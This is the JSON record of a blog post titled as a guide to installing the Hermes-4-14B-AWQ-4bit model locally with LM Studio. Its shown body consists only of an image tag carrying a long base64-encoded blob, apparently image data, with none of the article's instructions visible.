{"id":1852,"date":"2026-07-11T01:35:31","date_gmt":"2026-07-11T01:35:31","guid":{"rendered":"https:\/\/rdtgroupe.com\/?p=1852"},"modified":"2026-07-11T01:35:31","modified_gmt":"2026-07-11T01:35:31","slug":"how-to-install-hermes-4-14b-awq-4bit-locally-via-lm-studio-one-click-setup-complete-walkthrough","status":"publish","type":"post","link":"https:\/\/rdtgroupe.com\/?p=1852","title":{"rendered":"How to Install Hermes-4-14B-AWQ-4bit Locally via LM Studio One-Click Setup Complete Walkthrough"},"content":{"rendered":"<p><img decoding=\"async\" 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PK5PolN1Nvdw8IV+tBYpcNWNxJ\/N0Yp+To3sSVbHiY9QV67bmhCx1UWNdXuZMfSADxIKwAP103H2PmlEmyoEhjMF1GLy0EnmaczKDFiD01ZxbknK13adNZnuYY0wRtJLtk0Zm6yoOsDHTONzoPxvHwhveUkRvKEcy\/MDEzqBMhi6Bk+AlwKBb7p\/EmJtemekEKqyoOEQmvtaN23FX1MmTJNmWfVTditSD3CjcOg7q1vWfj4ZFH09RKPL5B6EmvWtVmEN1SYD4rof6bm8EQPyiC8Fq4Fi+Zzs43AC2A8QjQt7muqh24b7ZbRCH\/jFBufNIPUg8W410Qnn8AQ\/+gr\/HhJcexfmj1AqHhjXbht+VicXEIJQZUQgyfSwhLfTMoLbmhPy8JrZG6BwQSPPkivdiwfmLoRndX8U4M1\/kBYCbckw7N5Nh9MZ02KWYJRkUC4iMR+5AdBIL6+2+2hT1U+gZ2HIYeJKdJDRhWCs+7QHp9swx8STEy9cWF7prI44aVDkp4bZj3pwYcn\/VAOMxU+aGLeOx8fqgNesSWUJ2uKnv07RzOPM3\/BVnGu5nm1Z7TY1gnBVZbIoyuoiAYtKcw5XmL1aXk93sGytLxWaYnsmaelwAeqZlgYsFSycx1BZ975wuJrn5JUr8u1qNv8vahIYTTJbUALqzGu5\/1uozHwfr\/jie4ymNwR8UxoGNThEQ5vPju7AZjTMICsbtFy3JbniG15H9jeZQnz8rAXgYGnjnKhNpi4YnogjRZwrBtUbLrqhtimtX1iA7Shl1EEDWDWH\/WZk8DZapfm\/3J7jnjW6SryLSNUszO3NPFlWULpPPr8258Ee82pqHgqoqh3RmO+YH\/nZPbqks\/r0V+iwu9sWUT390hJ\/yK5NGRzMX0Z8SaVQRLHJodYvgB+5VITeuDdTu5K0QuE9iTNXQAPWlUpAYvg2AM0Ozt4nqywhail7K28nH1YeWsdt3D+ReqLzPw\/iYe6tipSiYXMAPNOgnMzWCknYCDdoKSo8vVTwQCLTM+7zAFwyuY6KlTrPiW1L5qzKwEx2qM9fMj2XQ3PuvHkvx36La332A2G3aSGJSqCQAbQ9JENiGeeat2DCIF7CMAuHBzrKYs\/XwcybKTocG\/cviRz3r6hp24R6M7gGqmSwESLWiAUUPiVD1TDHthvlWSSnpsNBb6dl3BZf8sB2\/NZDBY9sJvg53TZh5jLdAHmYDhcMk4fuUp\/JWM\/2lJLOAVl\/lkoqYVWsraSqmnFP0Qfqf7UOPbk0wDPS+rNdX9ykqPNQTa4ho9aZb+zonbkHmBebIpHsJlWynrY\/n00lI90BlM7BvpBxMhX7rir328VDVEl5aHABSI\/8gLzSIGpyTsdygSNscCRQDim8ETmV\/snqDFBUDKZPxi\/yFeZQ3SRTh8nSYNqIVHyGZuO6TMmX\/Y66IbNQ8ij4QSnrAmF2ct5hoMgT6YaNOolfVm\/Zcks61RD43iOq5HHZReSk4DxhDgq20Vh+Nga9irzgAJ0M8TeO+qiB8CWlXs33mBsTncNw2j01xXeSFxiRa+VWf4fw+GndqCq\/PtniKuBXqU9Sl48+jVvqfBlTmOWT5PNmd3OXsTU3491cLwBrTzzZqgM\/\/QEKLbCZ2z23e2CJ5+UXQSuLbi8PWVQfExlfTJdcZPkf8dPaui6STii08dOGoRaOKZv6hLpnUfbSdyd2shNLJkLvOrUFifJoMBj+lgMjjCks46BahoY6Wf6yihRNQlpE73DMRuokqxlWj5u7XRkBWpEQ7SFv\/YmqQEWjF0F+CKZ7HaJ1DUM2V0Wa0TVGAo4oOp8kNWDcQPYyLDL8\/2Gl+XhST5\/5kuh0yDKEvvxM7wlNOBwDhxtL7ABrsX0RhBi\/QKOduU6mgWQiTBPuxf0FTh7GzHwS9StNemL\/\/IWm7cDLAqldeufut6UnKSpjO2yWH7LiCw6ZNzwarUbpT0cJOWdAdY\/HiueVtswfoSrmW\/COvfr2tTajHP1p9O\/zFQYYtY48uA\/G5t0bmeyAMOLnBX1+4K8PlyRNdY1q5VK\/RC7jKkPjRmYu4MpJzsQL7UvXYcq\/1HuugP+KETldDWuw4mo5anq2PQH5AmrlGOpnukjU5g67EIiF7WdefCzqQh5jZknCHpGvs9DP2oNXWsHHcxsIN8fZXjdQQrSt0ZJtjO\/iueQobJrryJqif9cnMhFH4sj+tPvtxPah8Q9iN0R3c2HUxpw8sbT5apHe79kunBY8Hroyac7Dt\/MP8ItFgAfBVVFcSvm7jN\/vo28lwMngXwrFsjrH+M6yT9\/o10n5829ksCCDS1tiR\/JZb55fZXHsJSfub\/LcQ+rSOZqunaR3elAYr+YkpFNgjVz68E+SrMhwo3T2lyVqNmCXehmLUHGj+s3c59IDZT0tpWHhr3ZTt6WxTojs9Vbp4EAu4xu6A+53mw+didtt04HCtnygmB\/NYzJC4\/XE2W1uclnSsGdwDAEtflTF71h2h7DjqU8gPR6uJ8+CiXvbOrv3wIZVtjG+sU06zWwq3bSAnGz3T4K4OCiBkLqpKR+kgN7XCW\/syWo2wKKLsALdwQSgDW+ifCmNZ56NfdLyD4RHigfZwn3o9hlGD+1NMXP4By1rAGjBGBweSb5d4IAP6RfvzMcFy+4I2sDXT0o9UB0I82PwHLsmUuAUh8pBzQ9Zm8yahcDLGF8VvcbKSm6IKT9ciR0B6RjcpxzD+eAQHFdBo9VARqU8q+bArSLcr9yQWDDzfH31vWPS1yYc7FyapR\/g\/FKYGZBn39MIXoxyjfCKP1r64txMs3J9+7rMe1ePOQT703uqfKvtMtdq3v\/G23\/yapvixhcOxT8Tt2iXW3nZTPzyNzGaCfsna7bUUz76yoIHsnW6Bf\/eXRgSQvCEYGVd\/yVuoHtzic7pg8piVn8RDzBz1DoDPaTvxKDMIM\/WL+EeG4VKxOm0HGCL7NoGDWtilfllChnXdK8SFS2AFTE8suyJrnFXNdUqYfz7o921PPik5VO8DD+zK5N52LvCmeOmwtbcDaPQdPR+RhimRG4zVPnRBPbdsuFRz5r7gdtUju2dchayqZaXxxkCAzX9O9C8Y1IkPRUxwDNGWxbWlCQh9P6gMJabBENHHwe6HEsx0yfe\/uWhk8kawUSK8Z9fT42uFZAHiYWGS+aDSqUcsqBJpFIXAM9D9jccqqhwcTt1O39\/9wZUPEor79fB9XfywEjhB48elVYwKqWiq9cuB4KDNOjdXGLeJXljwWK3oIYSMsQZ7PGEt752MvVKjVowizHjCiAoorDhrCppIIAtos7OtZcGVUnSnh1pocjsANNTTMCJeptWHDN\/V2zBQ02M1i4H1I7\/UVN2QtSMG9\/wO4mzoLtl3fJ03jVV5dyOg232Xnn0sSc\/BLiLXk65VtWfEN7\/DcaBe+viHaZMgIWWUIy\/+ukikGRO0WUzzRjx\/nr2LRoUTib2SYyvFxrOdQ1tDkqy\/DJIwraU8ohUKRr2b21+dVlhGHNrlBC2NMqGi+rtDGZ+NPkBoVBvbeCLkIYExvS1oiUICsfSEtfntJdJc\/J\/7Etj79cV2Hm1wvH4i2HAu4c4tc2niu3vP6W\/yDdvR\/fB4ZHgfV9XzSvsZ0+FqN1q3uaSDnsYB5NymqIV11J+zm03ZX1z1SNmdIOX1H59jSqnOffpdAF65rzPasX8ThqUMOdQHC0x44w4lXB5KFh5nh80QHm8N3Qj6IkgwZe2XRZOkMyJOr31fD2+FXvRJa9ql\/zuJQ0JIWoiw9MfkM3TcaC55I1CdCVWyL5rPCBF6oXq2pRS69PpNnZflfg8VfkP6\/CUbxGpE1igIVaISFZ1C+mCEy9OcS3daxaqY9qJnA5zyryLSFRB2dZ3EanqQKZxCWjqRQSbMhji7Yq0oBV6zinU7rh7AtuULp\/XvzgHZi4aV03Ar+sbBjWGf6KNvlLPODK17GITpDtbu\/NIPqj6f6w9HT+O3h69G4x3M7MqcysyvDlfN5Lg072ahizvSI7B7PdFD46BKx\/n3doMp4zJHzaGmfvc3PhXmu9Hh4K889Z5FKfGUr51Z4p0iVbh\/Mwd410nvLwHJU2119DWoZBP1vK0rU34spB5fKGTTQvDJzpGdtMQ6MewcRA\/t3y6h83vsVoVxHrYa7q84LK5RwGvFJn3MFLKeE7uiufuEF8Y73g\/wj9rZFDSOZL6+KPpLJcC1BuGaXn06yq+2GhHeZHWgoLSUpuXufmOtnxS7jpZN4XyCBNY885UNDGV9uBHvXu8UmcRBQfxUUj4SruRTj4i4prRs1WHuETutwRNEZ6tewCnUv+xykbkjsL1CPCjadK1UvQHzwqG16tCAGZ+Use+1MzDVnHRnl\/+ZaijbQp5jEqLDP8oNK6a29HaNcHRp9J32tdIIyDj3sm\/9WBMYAadNqDzU96nN45VTZKSxBVLpcoqhoIRGemHYqhH4TwiCRk5q+wK23OneTaSGT7UlFCjYTjawaADMida83Bo52iTUlmSyr4lC4EUJkcGok\/HQP0iLo\/DrXbn\/MNLr57wmcA68sWWzpXUoGh4kSlgadEgWea5J8SvaIl\/NneDz41VlU9RMpHAn49MoIPxTTv8qDEIYyW\/xrV7oLyBqIVBQPhsIfvTILRK5X4EAnXBBs0qw\/Xisoo+ogpi8eiPIlvLNpJXpzP7eKwL4S9KLjToT75IcB+MTZUstnIEP6gZXRu9E4Ds6kBLNFBP6gJRtWWyENBqEq6fWqHl\/2276QuX5uRVt7d5phh0jQo92g8i4VNE5CHJ4w4iHmG5DKnald6JZ8NYoILe7fP7YPs1AXBQBDooQNhYCtwZKS\/WizeeNQ8RKGKqYTJxSgP63ryUbullFr9gRq\/Qq34CLoiMWmxjRablgRfoSUmJv7f0sQYdFFlm\/+b1actdPAJaCiOxDC0Ahzba64NjfahYiceRPYZuUIIdOY1hnJyeTZM6O9OjGAowNm6dCu06ZqTzn9\/no2dmnT1nVik7JxI0BTt7+Gwg2Zni8XhxSi+jgWLG3gJKBOFP7QXiynxaaUps0NlD8n2\/V1z65lsy8\/G2mPn6V\/FuncHhwDbZefNGQCnjxr2jGli6dx+hnkc+ZOyA6\/n7owQXFRTF4vfanPhby+uwPgMyq2qd15XsslbVC0JshG9yPkSlyiWYrdU3KxWmdh1UFaR2Msfb3XyKwERJFPveTbpwl29pYhPsXKzzURM0\/646bx1FYb3k2Y8\/FqUWegGjGhItM2NCf1DzZtEZg4uEgcjfkn7zHvn5JSvIrPDILlWqrxFuoawbwMmsKdBtlMvD2btUR7XA2v5KlHGtyWabl6dz3aRB5V9syS2qyUTjG4Ftmdqzj1vWciYEM9x9E5IMqz7qkAxcEK4jxLNUEYlSNpyucNW+RasN3kvkupXPoSgF2\/qD2Gp0pB29ecUh+1uzdgjHd2H0Xjt27v7wV9LfgXHjt9XaPa62WZ6CX+xZroWYc9HCdEl\/qf2o1ZU7kSsnEzGV8Tzary5rdfvnaKNIvVVSag+CG2xxYWdyEP5BI4KQQvBSJsa84v2ITLJ70rL\/EzmoMK1xoITT2GKtObLAFBIYPfZFMuRfEfeTt512yIMTU10f+V2Pva30IF1EKT3JZ1EFAe3lCobB2ZD0rruEz3Sd0IKySSSplTiHxzNzNyU4MEXpX3220FGtWJe4z9iG1vOwMsPD23DVB0BEaUUVNc343TSBkiFc++\/J2aJ0M5CCsK\/fSl+4nxZVA9wqDhbm73aASCsDjKBeqVxHMANRMtx+O2jXl9UKCIvd7RRvgPha75Hl2JCNxl6uS0gg6bfpEbDT8K6FGw4Eq\/n+vy6LBy06bpi\/5qnTqvo1+OVjXWKlEkjohxnSz5UludrH7wRXcaEClESJPveg3JkWTrWuUOtlvBGS\/jvW++mEktX+hUR7NIQLZwGw2QIRreKH+9d9A9MheVN7P\/kL5+AfE6bI3RpAeedsu+4\/DjXmLU2Yl\/qGqesjGksGqQEm8qnyp6zGL3EzW2Q2GjQ+JiXNsBjBpkGs7qhYGsbFI9k3ywB6y8Ouw7o3j8frMCe\/Lceq5It3rntgvO3cSPIl2sHkzS\/jYbKcog1+DhPsWaRSjPfRRdELTGD0o+DL9\/N4TeDxzJPIONJpuMV5gGk9EkMT\/NRdlZub3Om5q8WpT0q66P9dDqZq14PG89QRiPbwzy5hr20saqGv3NLW6SbtoFVTK5\/cq8bTIL67RgdqmqqcLG6BqPPLcMmRYtZDfeZAeiMB\/ba5m7wTs\/NzpGUEJW2BuysuCTejGHCFv967fqmJky4753Fb61Sio9uOl92406uslbf5\/uasVf8qRHLsCjLuqNg0jx4uEzrUPxlFhA\/G19AV68yl7KtDCTSxe2tUCFZIOOybRrTx2IwTAaHGquLcgmWRnxeNNGFgMiS9T9cfGocWvkoXjWQfvPI0nBze4d+azoyBEjl8VCBOk\/jL0hCsKeWTDfRi9sm2P+RmRPcsGHutAeySpSt0jIWSqUXhCl\/iCcCsjpv9+QotZpiBHgKUsS4xcTUJJ3ToaxJLrwR7ydyb2hVAlwD6Hp9e+eFmspDFavxGFLnPtykRYQXj84yC2zI+wDRWIQHYL0jvt33togggmspzZMLfHqDq2YwdvSkkUY4n1EQjLHyKzjtRd7ZBvP6T7YrYvTZL0uQVJvbbzxuULpo09s+vJF\/JXRflKoGSSsuQeGfAIQDhMx1OAVMiMf7BHVm06gmIUA7EaAdLGGuHB+KI2rFF\/fDHuv6GlwudK7cfXpTE1LsIQSgpe0lFIdOily6IEhydK+J2Via1+EM5qEJfoPVgf3k1AxsSokuVh49k06HBvZZKZKlf11kJmhtoGTwbsK1EpEZ09fZeGpp3xxOAvZjEg3AmzshplEOac8UA5dOxJarpuYqVnI2UH3EUrEZDtwasmNXYx4blYhGDBKF\/WB4DUyAFjPxWUu3Y\/lElvmHISGKuJiNoXK7tb3D0XLrtZ\/cGiXtBh6IpJa2oTw0V71G7FpRBMdtSSkzNoQqXvnmhwP7L6a5j+wSMgaqNqeCOauMKY4+m259lI7dGy5fAPdJZ50+hQlkuuAJq1WyX14xBbwqOHqRQ4UZYcdeRtB9M8mSuZ2xtTiB2kwIfmcmq+0GZLSs1vA2DvLfB00ZxWQjU5Vu8GqsSsl+X9QgaINhxr5oY+ZVC4OeXUQexH2UtntMpKWEvBpJAhxVMZVFT91HBFqcl5lVGAvANF\/eb5OVZb6QdUJik1v91QY9hiVVbH6Qewja1RK6ymI6hM22k27Xu7k\/EMbHI3W2umAjte88yCh8xrLHMIbbMDLVqoXbEGYY1ckrt9ZTL\/ReM+3EqmbNALY3Scbx2pUVd5M+hMqbUrT\/F837VQFH8QglueTa5YLILVDdfek+yERO1sWamU0SrSR+TnaUSJngNhbxM\/3o8HGgtiB94RMmNH586gacr8+HNXPNs2VNlfbQyPqQh+IQDdy5Ry+Jzzhie+J5rzTjdwTSbIz3N3R3JADGob4Q8bf\/iXWZTchIceFpDAF7widIcpPvCwmz\/YO5BA+iCpCsgOEGFr7ZnaoATZUGs+FL01c8wJg25bUwiVSTZ6Juv4ZruVkwx7tEqzQ5RdWNUsOp2Jkt0fwNuxcZZTC\/ioonOUTfO1JyhD3ufab41lCIC\/gv2vHManb5xqKjIr023txDwQoaoTFVUEfVwe7BhakM3iWI7h3J0jdlRkEz5AFeuzPvSnawHAHfWqxWN+IFa2dHGtUkfatFHmaf0oZifk1KXPCpJadK2xLDwYJrDUQOwAjQ5qj6M7qxYihwEbollAMzd9G42mTxCTNxTvJucpsUTAFPQUAjyhPF+DcS9dgPbodFA0bk6Tyr6cRx3y9\/dQO9hiOSUhjLAMIrgjsy6NTp7qBJPFmcwg3dN4pY61b7DFjQXjaOcpWrqjA2AhQSCy29DtGxxZh+0GWli+XGTIGGCo7i1uHP5Zs1SA6TJTpjGj6epWvheRkPHXXxUnmHkiEGgo9YxGPN3D8RwowNUURnsrT\/XjCdFdgveMTedAmpo9zVzHMlReDS3TdGDIWx1mILuIuqbZjtLsjfWuqenraPCMXAGtzEPHj6uXEAhyKV8KUCeS1WLLhzwoUBeXtwa8Ee7nCf1V1MNgVdaTBYi5ZokA1KcNvgQbkHzE9DZHZdQwkdyw\/6jPzNa10YIwygsKtLma2cf46G+cl3o54sW5cpfknX1Nes5Skc9Opykzq2uVEH0QiERbEj1dP\/L8b\/dooDd1PydqVHJe4upQOgkgQ7rgqVJuFR0QE90bhdr0tall1KdywMGSK9cGZ3Z51l87Fk2j9Vg9EnoutuIa3QJsfcibTESKraoDihjRc7GYF2LVmK3iNEs1WDHVi5uKbFwKEGgbMz7djxBI8w7SAtvJ59D5BJbK4BkTkx2jW9JJN4xQS4RNsA06C8MZQcL5xKghKHToTXBaAYLen+ep9ibxzi+g1b0IKnxoMYbr9APPXhgRTq\/y0YzX1877v3h3R2hsBwmf52E1VKBLZhjlAGy2OShpnY+TAEhfGrWRmHlHZmB4eESJ\/4ZP7bq6EXD5OwTTYHBJdvb5SjeQJicxiZurDijWIF3oY9wTji2bMVDw2MinL0jxp62O2VbDRT0IAVCoEY5zpCLpvz3vsbYokpmn7\/wWm3HHb8fcD8ZSH4jdx12iryMmV78ZsC69fd4sH15FcFU7k9p2eqSruUxPYGSh4idYcncrqd6+zVjMJz8h920FELmJtycC2LA6uhZObSYBaJE1rHjxjmJmbvII0PPaq77petK7\/9IWm1HsCFXsWwYkV1OkEye4YMrocQss2t4Cy6KbvRBzy4tpv37SkTaL\/1wIOGg2bExjsrSab6kKI735be3TvHIca2RXXztNJ\/KfozEYYOj6sDPf17p8Zk55uQCvGSI0SP\/xfJ696jSol\/qJGD6bV4aKv\/JGY44mOXKY1GdWlyv9c4SPz2cpE4UMQgE7jz7KpLBWnYTB4au4evQjcab+dnLktWKrvxVuksy7hADNmzaQx\/jBRppC4NCjvMGmTx+EGR6eZ16wmn3tqfZ+WUXwjR2E8OT0K95jcyvv8yPJT9m8f59Vy82p3Uh5mLSrcuicJY7d0fvnJwv+Giq+xQjN4fwaL\/m\/gj6o64Lkb18YWX8EeaYL1YHdE3Dj5mC5FlfNGYf8jWiTSYF1\/buqlaLNHtJmE+pje8qTxyj\/WRYH6TLZjl6Xfb1ATVP8oUnno4uL9lfAfw2Ogek2Zkcpbb4SNGGL9jJshqCTHMcys7SJBLqH038DKKaLkymBne7um7Tznu9pPVSBcVUUwk6Lw5ifuUr7dxX1xh9owYTUQZIxUOXkQaHR7fwf0z98AAdiuacLeLXFCTwcu\/Ofz6al4iVToX0v+MMU07I8AZcjpt7TCjA0PwfgJpilUsSyXYXD5r99aaPQvUe6m+ajsWJB9c9gA8J0D+oVbuGkiFNrIsyjKfGSboiH3IaG16NMeL4d\/OVIGDYrsc12e+47wPPy1KkJ1fgZyJbbI9zflnLjY\/o\/J3wz9aJCd+8tkwMU8XMOyKfqiv2qEvkon80ss8F83o8cexJ2otW0BGKBcbWyB\/mS4\/EVxRKvD5w9Xm9iHBPKMTHZzbsP90hXfGb7KQKdKBX16WDcKpiahzKnGMTSjQVNoUtbigQdUUktGNR4m2lyMd+QTjKdtne6Fuv2tTL6UKAVXMEU2URQqHJvtR1gCSVyy\/luiknVMSVIAr94qrFCN6HYpjE8T1uGXSyfBIceYsIb5SYr5vOxD7MkO31gsqAMih6eIsNDaivWH0mXfirHIqjlkuYeWhVozKEGs5d1FqPR0k2bvxl9bWGVFywQ84GQ7hVG9qCr5HQ+I1mOWRV\/Z2Q0I8lk+xXPoBlmtZPRWsuhJXNAnFkHA6NNoeHJgMsvWjZhX47Suk8ubdgB9WXmg8pmEQNKsjzticMUO8hcb4wovlI0Lo033RFFhiG\/o88+A\/n1xw\/cTII6mkm8vQS\/BY7ZW8RdL3HDzWbOAV6cS5c0a7Doitj24bp3sNfF28DonqS37V2UzHovjA2Ly+DD9Ra\/ysZNGjPZgWVPEOBpdQMZh9\/BXiNRpiRqzv4AJl9NNjp7INtRDcphabwsWHnQF9vvUsjPg1iQtWGuYjqQe+xlYEFHJhdJs0IXBOw4u8BqMabhAtZP4nd7LduMgttGp1NLkA0UKCqAZh\/\/vXKTBNTzLW+FXbibY16lkn5uF5T8cO19Md8yjg0M\/7sEdC6dt4GbALF5xAaT2WRbNlrCOVeD8p6wFYWWwCWEvQ7OPREAPW1McvUHialECdZqmT4q\/36pJQWnxUrzmPVWwZJssDCGC2chawCpyg979xhM6znQ2vRzX89SMKnbf097182MXp1T6N7YmZdN2wQA9THZXthhpBjkLcxaC6kBD2juKzQgG9RsnMM8z8jVpJgBq+BlsQOVzQKYzxPb3KAMV7kB\/1jp9uccXnUQFFLZhtCNNbNImN+QEY3RhGXJuh12Rk9LJph2u8XX5Wkh6j5zIascX7gH2g09UkGKrHY4\/nTD9j4po\/rN6gO0Flp+YKvr5hZKmBr3q5w1RErz1dfW2xZmgIbLLpGHgH\/voNFKukl6kcjrzV952nYf3Pb2nrfHzPKPMqiqfHErbqyOs9zpYKu62LgAVk2Gn5O7sYNK4\/s0FvatYYozI1ke25UVvZc5UYr9iUwrbdvc6T+Z3gFtSKG0WNb8aQPJb8Rg5Q1qgwpI+AxbnapvBJyIv5xumgAUYTM5Y5RYcCi5hwEz9eyoXJ\/bbttL0MvzPVDtZvt7pWtu7JZE\/cRRkCYTm\/E1SPVoZT4xsQrlXIad8Zsd3mMATkc20wHYrOWTlSaTXlXn2kkg\/vv3RbkD9JxWZ+LGglVUFtaZSEFQn1y413Q+UllTuPwOv0i9iILjijj06ZigsG7FQVpW7UrVEyyJleGDhNkjJneNyzJnybjOXT5LJkLrzW2YvLjs9PvXb2AtkaACendaJEc+U53E2zDPRyJywTAlUr3tfuUMlCOYzW4bLI7nVx\/Yn41U6OhrxiTVfD3BtFpf2ZRVSWGiNmana5\/WO6PIkKMC8Q1BnnGJ8TuDcqcAQGD3Ag8\/uSEUjTH3jAUoKUqnNRkFYtS7VEOo4UtrF8Xg9jyfwlamJJU4w3NGrpiyJXWHYC31xwXCbWvltLWf2TooUkL19KbwU\/lkpM+uoMsvqX4Va5gUzes8CWU8CaAR7T0GeEZtN2Y7kSNuSt5SJdJU4qPoGMAkOvdSMkoIe7BM9D7ElcFNv0hmZJxWeQEBJPNmqw1\/3WtnV9dXV3N\/Y0oRaIt14wewvSKetV1NAuBXKIcoo\/t2DKY1WQzccxF3Q2OsmgTRLNxkAJgKZvHmWbr6Nj9lER3SpX76bk0f22FPexkVjYSrabuDWaL+wtz1aKMAzRxs13rr23jzuJCdQbsB41paRsoF+bJy1HgVTy5muxbFkozFXo9X0b90pcFEU\/2a3jQKgfAcYPn+S1f8nIq7ifBTVACtd2P0RZk1WAQG\/1CM6JaS7rhNNCGfzePKmV1Sq3XFMdREcMNq3Gpp\/vbTTxRY2CoCohogWaDCkjT4Hy\/kWbmMgR68CT82zwKt6yhXXElu0tHd4KQlH1aJ4146Lq9GLr\/90oeRK\/vZc4l8+Guc0DjonoIHOm\/dgl5Lzo4uhDxaafGFQPsYBEdgJtD4bJH3zWySdelyHrR2+z+moiFPRE+7BPIiuvcXD7v4nQJ0WsVkxxt936\/23zE0tcPTu6pTain4l\/IBwPgRI2BuWiWiLsWmrKeSdN\/NZFcyavHhki4ujtLP+1vl+vxY81mnspxm6r3DOv98sUGb7kNcbtKS0OVC1Nf06szaaIL4ZXz1RWm732sZ2qi68H+4S7GzByshBR0TmcWdWbPROggFsi6g3xHEtb+N4nFZRHkMjcFHQsZhHuWDW7r2YXX\/oXh\/i67\/4Z6mi6Ut9Isse0SLH5eV7lP7ycJG2jecxOFLMA5u2h1NoTU+UO11F3xwEsw4QKAjACd5BJOOxhw2as72nY7n3eQe8Qpo\/4kiRkTvEZFSWCI\/DcJUUWmxQ2gu+1ycm9\/7DIWvEA\/5m7sdnN4sXnXptrvQKDaaOWE+2ZY2b0getymO03fM3fiMC2wkTuf+NT4GAJGgcQAPdrWCslncYgwjh9Sh0+LIOixWJd1WcM\/ZL\/60jkHkZ6fT1yuu8JUsvtPOP8hbLzaYhrUxNBIduESg73dHLr23qrDL2ZkH0xsRDv\/3fZJIwKHEHQOXOnplAKPT\/uP2gMrrbHl4YyE7rW1+dzE3NYROabwgdrROIRlDxzIhH98g9Lpn10rrxCwbAjp9o9YNz5o5k4Aa71G\/Z4gM7tEU25jxwYvrojf7Qr\/cZpZQsT1E8YqIBHICcIm31AfbkNvQPDzoOl2IA8EPV89Z0RXMTGTH0Rzw6X52KIQlkDcdTUSB+xATx5N3K5aHKXWZKIHnALJQFznQgAW6SLJy08MikKhm89O+4LYoJ9DnPomAo1Z4\/sJii6lP9nrO6hjWEvEvF76hzhgJj0c1cC1K4qeJIug+xbmUJ0YP98DzPE6MrDFKtSK1\/\/mKH1heY6Tq5mOsoyfV2YzQq6GlFq2S+j6qwyPdVIPfu4CQRHdzpgC11kgmxF1v\/vSxrHlLS1AHCEWW9La81SEc+6HgK9y5S6\/Gp\/YuhZdWZdWf9qj9T5sAFPkKzlvxnOP3S145B7v25\/FMXr0l5Uc+ADtz9OTwcQFATuHSETYLMXa1C8OySbsIJFaedsMoCtwAfSy+YH7vTHTuoMgathM\/sHUo8SHNqciU6Tna33vXDV6zLfClv\/plIlEv6Y3idRhprqp9WiCSbvFJ5vszd\/YvSWiSzPMT4fzBQ2xiVRGuBi+QLI1+\/YYpgfxOOD3DtKbdw2fje5gtJEQcRDuMHZe2LnBN2dybgwOhxMMs8PXOZRnTITN0qggA0GZltZd0d4BHVe1s4whUwPlNmrlO9SdpSErt\/E0Hrt1SMJVLJ4QWnWXN+Un80Hep4+spwLntYEhYKRUpB1jszqKwGFLUo\/3IL6D1iAfw3AIThb8CRVPcTziXhaEoXXXT0b\/2SZF8n1frvMdOtLvP9hIV\/nomHUMoLoAuG0+OGCXjfABRnejxqMsj+JsTKdl0YmF1SV5lKireo5SW1\/ERiei9KzSR\/fsBbvW0ffNT7lf0HceeFbBy0gq4J3UgFLKM1wr633iWMJS3H1B\/YwWR2uVQI7N72T0dLbfYsKF+JcK+C2P1I23VPfNmpd0+sJghWpi27PF6WO7jbFg6x5UaQytIuEaJ0f\/lMFvgJOeavTnNkKGEE7wYtr0zAxdZmFC4JcKNoJxhsHRA7aMxjgJBwRbQVx4MXVGf\/+ljxKQMg7LHi6Qz90C95fUq1q85rfi5ae6f8d2+pJi6\/XcGE0nr\/Ab5ZFyesJCB3llE+Lw\/gpiSLGOytszzNhdIuM5Oh2RISVTc6DS5fXTGYa5hpiYWydgaI5mlrKHcTUkfZelQnrDAPynbrd\/fAc3CwxELhHtunkt5+aaNkreT6FwZ9uHcUodviOTYzs\/H07Teko+0LUG4XpWgcx1lFkfobWwf0mVpYcMF\/Xomieq+p\/05wDTN1dab7clQcZcrtrgAvSQStisTYw+tsJASSr9GOETdqENC3U1XI1kCbLSP6T58ZtOYoi0sHseU3SeHZhA\/zQ7Vpo+zgNI8ir6Cr1GirkDFIzzJQGXUFFQohsTYr6jyLLXoDpokfULQom\/QabSJDwGB5WMo89BcmjeKnkIm5tHUivfNUg4iEq0FvGpDknd17OYJB+BQAh2LR\/e6e5qxotDTQjJrnXdSCeeqz9URffAf+tELTrCQLPNrVaD2Z96nCMS7Em8PKX2dscTbe0WFLUjVioOJ\/J7ffgFo6jwrH7Jr6vlfV2DUjSFoEdj3OWVdoUsaa1eX1Galns0Pkn05\/j1jL7\/CasPVnGq5YIIAbL3OkV+iNaOZaRJPXhOe7dDnQEnnIntVNXXyFK4E\/yvlK2vGLoekExDwXKgseCsdN2AhQMXVQBPIrFbKiLMdzEkz9GlfX61F3rBL2W3ZDa3zmIyZ9z4rxMLxXRc+mBsq15pGR\/3gKJHfou+Dk3F6rjX5iPxqhw44l0ZqHyc4Q0RMB++DD0I8iEGqNqj0I4l2T7bZmUoz8SJPjw0aBDTwklfQNDblvlzuGWwVaw4m5qJVJjCGYGgAhCOQjY2mgNDukdpyFM1J04PeaiYRwZeL+uCjb\/on\/Safa2i6oCxSDMPfaiMmLL5Zapr28fZ1ROcUAaLygqiGYWo5CZAPzaqEm7RbwaPPnTzZF09oGctkdDnttt2qtiT8fhW\/sYT3rjuL+MxjwoFZqTwwgGQM\/Fu+CoNh0W6PYxjGEbzs+NgRT6WYQS73T4wa0K7tXovix5GedB3\/fkOATUOVRgELaV3bUT6PlIdCFcyqJSDe\/NWIK6uMphcBKDbtqpsZA31Bqi7+K9k5WEQwNHCneRoQPlC0JBAb\/vX9K3vfuYGeQrb8AinQkHRtLpfeyhMfO9N4z8YRcKGu2hI4KJfWymhdPYndjzCXl\/Vl1m7eXHTr8NMD4hR7w5Z40Bx6RGDc2SMOtzUXB\/hIPhZfLJfTQclJ6vasouHCfLP9PoGGTUy2a1eHeFmqmoGzvDi2QIh5GCGjWFvJhmgSyPIFVIPSVkX1Sasv4wH4mLvBiWR9B4XapV+F1tQVwklsVcV11dPusPWm+BXt8mr5vCgJ14UkaqOvC8cGwf3y5Y0ngOtde9DAupId\/H0SIGnEgRDU7MO4zUf24nUsnmNK4Iu8wMRhGJwvmkfuRyS30bfZLLdH82Po45qqTnp3RZJy2WMKpLtnrPawj8r4EHfs4EuetLirS4KpPTcAX+mxl2sFOyr7EuaceDq17qX78tpSB7XOHj+03eknSg9Xqq4ZhLB2XhNGGjTiXysb0cj3V8NsJSHSFF67pASncjPNxnuA7vrMSZucguQ5YLJKUOgEePJ0glSuWfSGDuZXRgs+NuYKpM6pKB8OWEAc+FYP61nVcFDjJOYhAp9i6IAYKMJab+vyzEe4BOFILPGksz5dGnJt1BhG4HD0UHXGAxDwf7t3HWBPxtAGnujtrb5sWKIKZSNSViobVKLlPiihRu1STIoOByucxbo1h+3mOXqEyEKxcNyeJ3o1WihvQQddPYdqbweP19qZfjqno+fARoZBDI0HT8Sp\/B6jTUvRPTK5dSqKfKvZO4f53zfhybj2I6